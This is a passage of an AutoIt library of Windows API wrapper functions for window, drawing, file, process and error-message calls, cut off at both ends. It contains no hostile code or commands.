Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam)
Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
Return SetError(@error, @extended, $tpoint)
EndFunc
Func _winapi_closehandle($hobject)
Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_commdlgextendederror()
Local Const $cderr_dialogfailure = 65535
Local Const $cderr_findresfailure = 6
Local Const $cderr_initialization = 2
Local Const $cderr_loadresfailure = 7
Local Const $cderr_loadstrfailure = 5
Local Const $cderr_lockresfailure = 8
Local Const $cderr_memallocfailure = 9
Local Const $cderr_memlockfailure = 10
Local Const $cderr_nohinstance = 4
Local Const $cderr_nohook = 11
Local Const $cderr_notemplate = 3
Local Const $cderr_registermsgfail = 12
Local Const $cderr_structsize = 1
Local Const $fnerr_buffertoosmall = 12291
Local Const $fnerr_invalidfilename = 12290
Local Const $fnerr_subclassfailure = 12289
Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
If @error Then Return SetError(@error, @extended, 0)
Switch $aresult[0]
Case $cderr_dialogfailure
Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
Case $cderr_findresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
Case $cderr_initialization
Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
Case $cderr_loadresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
Case $cderr_loadstrfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
Case $cderr_lockresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
Case $cderr_memallocfailure
Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
Case $cderr_memlockfailure
Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
Case $cderr_nohinstance
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
Case $cderr_nohook
Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
Case $cderr_notemplate
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
Case $cderr_registermsgfail
Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
Case $cderr_structsize
Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
Case $fnerr_buffertoosmall
Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
Case $fnerr_invalidfilename
Return SetError($aresult[0], 0, "A file name is invalid.")
Case $fnerr_subclassfailure
Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
EndSwitch
Return Hex($aresult[0])
EndFunc
Func _winapi_copyicon($hicon)
Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatibledc($hdc)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "")
Local $snametype = "wstr"
If $sname = "" Then
$sname = 0
$snametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
Switch $icreation
Case 0
$icd = $create_new
Case 1
$icd = $create_always
Case 2
$icd = $open_existing
Case 3
$icd = $open_always
Case 4
$icd = $truncate_existing
EndSwitch
If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial")
Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfontindirect($tlogfont)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
Local $tcommand = 0
Local $sappnametype = "wstr", $sdirtype = "wstr"
If $sappname = "" Then
$sappnametype = "ptr"
$sappname = 0
EndIf
If $scommand <> "" Then
$tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
DllStructSetData($tcommand, "Text", $scommand)
EndIf
If $sdir = "" Then
$sdirtype = "ptr"
$sdir = 0
EndIf
Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
Local $hdc = _winapi_getdc($hwnd)
Local $hdestdc = _winapi_createcompatibledc($hdc)
Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
Local $trect = DllStructCreate($tagrect)
DllStructSetData($trect, 1, 0)
DllStructSetData($trect, 2, 0)
DllStructSetData($trect, 3, $iwidth)
DllStructSetData($trect, 4, $iheight)
If $brgb Then
$icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
EndIf
Local $hbrush = _winapi_createsolidbrush($icolor)
_winapi_fillrect($hdestdc, $trect, $hbrush)
If @error Then
_winapi_deleteobject($hbitmap)
$hbitmap = 0
EndIf
_winapi_deleteobject($hbrush)
_winapi_releasedc($hwnd, $hdc)
_winapi_selectobject($hdestdc, $hold)
_winapi_deletedc($hdestdc)
If NOT $hbitmap Then Return SetError(1, 0, 0)
Return $hbitmap
EndFunc
Func _winapi_createsolidbrush($ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_deletedc($hdc)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_deleteobject($hobject)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroyicon($hicon)
Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroywindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags)
Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate)
Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
Local $ioptions
Switch $iflags
Case 1
$ioptions = $__winapiconstant_di_mask
Case 2
$ioptions = $__winapiconstant_di_image
Case 3
$ioptions = $__winapiconstant_di_normal
Case 4
$ioptions = $__winapiconstant_di_compat
Case 5
$ioptions = $__winapiconstant_di_defaultsize
Case Else
$ioptions = $__winapiconstant_di_nomirror
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
_winapi_moveto($hdc, $ix1, $iy1)
If @error Then Return SetError(@error, @extended, False)
_winapi_lineto($hdc, $ix2, $iy2)
If @error Then Return SetError(@error, @extended, False)
Return True
EndFunc
Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $finherithandle, $ioptions)
Local $acall = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $finherithandle, "dword", $ioptions)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[4]
EndFunc
Func _winapi_enablewindow($hwnd, $fenable = True)
Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_enumdisplaydevices($sdevice, $idevnum)
Local $tname = 0, $iflags = 0, $adevice[5]
If $sdevice <> "" Then
$tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
DllStructSetData($tname, "Text", $sdevice)
EndIf
Local $tdevice = DllStructCreate($tagdisplay_device)
Local $idevice = DllStructGetSize($tdevice)
DllStructSetData($tdevice, "Size", $idevice)
DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
If @error Then Return SetError(@error, @extended, 0)
Local $in = DllStructGetData($tdevice, "Flags")
If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
$adevice[0] = True
$adevice[1] = DllStructGetData($tdevice, "Name")
$adevice[2] = DllStructGetData($tdevice, "String")
$adevice[3] = $iflags
$adevice[4] = DllStructGetData($tdevice, "ID")
Return $adevice
EndFunc
Func _winapi_enumwindows($fvisible = True, $hwnd = Default)
__winapi_enumwindowsinit()
If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
__winapi_enumwindowschild($hwnd, $fvisible)
Return $__gawinlist_winapi
EndFunc
Func __winapi_enumwindowsadd($hwnd, $sclass = "")
If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
$__gawinlist_winapi[0][0] += 1
Local $icount = $__gawinlist_winapi[0][0]
If $icount >= $__gawinlist_winapi[0][1] Then
ReDim $__gawinlist_winapi[$icount + 64][2]
$__gawinlist_winapi[0][1] += 64
EndIf
$__gawinlist_winapi[$icount][0] = $hwnd
$__gawinlist_winapi[$icount][1] = $sclass
EndFunc
Func __winapi_enumwindowschild($hwnd, $fvisible = True)
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child)
While $hwnd <> 0
If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then
__winapi_enumwindowschild($hwnd, $fvisible)
__winapi_enumwindowsadd($hwnd)
EndIf
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
EndFunc
Func __winapi_enumwindowsinit()
ReDim $__gawinlist_winapi[64][2]
$__gawinlist_winapi[0][0] = 0
$__gawinlist_winapi[0][1] = 64
EndFunc
Func _winapi_enumwindowspopup()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
Local $sclass
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then
$sclass = _winapi_getclassname($hwnd)
If $sclass = "#32768" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolbarWindow32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolTips_Class32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "BaseBar" Then
__winapi_enumwindowschild($hwnd)
EndIf
EndIf
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_enumwindowstop()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_expandenvironmentstrings($sstring)
Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
If @error Then Return SetError(@error, @extended, "")
Return $aresult[2]
EndFunc
Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_fatalappexit($smessage)
DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_fillrect($hdc, $ptrrect, $hbrush)
Local $aresult
If IsPtr($hbrush) Then
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush)
Else
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush)
EndIf
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_findexecutable($sfilename, $sdirectory = "")
Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_findwindow($sclassname, $swindowname)
Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_flashwindow($hwnd, $finvert = True)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
Local $tflash = DllStructCreate($tagflashwinfo)
Local $iflash = DllStructGetSize($tflash)
Local $imode = 0
If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption)
If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray)
If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer)
If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg)
DllStructSetData($tflash, "Size", $iflash)
DllStructSetData($tflash, "hWnd", $hwnd)
DllStructSetData($tflash, "Flags", $imode)
DllStructSetData($tflash, "Count", $icount)
DllStructSetData($tflash, "Timeout", $itimeout)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_floattoint($nfloat)
Local $tfloat = DllStructCreate("float")
Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
DllStructSetData($tfloat, 1, $nfloat)
Return DllStructGetData($tint, 1)
EndFunc
Func _winapi_flushfilebuffers($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
Local $sbuffertype = "struct*"
If IsString($pbuffer) Then $sbuffertype = "wstr"
Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
If @error Then Return SetError(@error, @extended, 0)
If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_framerect($hdc, $ptrrect, $hbrush)
Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_freelibrary($hmodule)
Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getancestor($hwnd, $iflags = 1)
Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getasynckeystate($ikey)
Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getbkmode($hdc)
Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getclassname($hwnd)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, False)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getclientheight($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
Func _winapi_getclientwidth($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
Func _winapi_getclientrect($hwnd)
Local $trect = DllStructCreate($tagrect)
DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
If @error Then Return SetError(@error, @extended, 0)
Return $trect
EndFunc
Func _winapi_getcurrentprocess()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentprocessid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthread()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthreadid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcursorinfo()
Local $tcursor = DllStructCreate($tagcursorinfo)
Local $icursor = DllStructGetSize($tcursor)
DllStructSetData($tcursor, "Size", $icursor)
DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
If @error Then Return SetError(@error, @extended, 0)
Local $acursor[5]
$acursor[0] = True
$acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
$acursor[2] = DllStructGetData($tcursor, "hCursor")
$acursor[3] = DllStructGetData($tcursor, "X")
$acursor[4] = DllStructGetData($tcursor, "Y")
Return $acursor
EndFunc
Func _winapi_getdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdesktopwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdevicecaps($hdc, $iindex)
Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getdlgctrlid($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdlgitem($hwnd, $iitemid)
Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getfocus()
Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getforegroundwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_geticoninfo($hicon)
Local $tinfo = DllStructCreate($tagiconinfo)
DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
If @error Then Return SetError(@error, @extended, 0)
Local $aicon[6]
$aicon[0] = True
$aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
$aicon[2] = DllStructGetData($tinfo, "XHotSpot")
$aicon[3] = DllStructGetData($tinfo, "YHotSpot")
$aicon[4] = DllStructGetData($tinfo, "hMask")
$aicon[5] = DllStructGetData($tinfo, "hColor")
Return $aicon
EndFunc
Func _winapi_getfilesizeex($hfile)
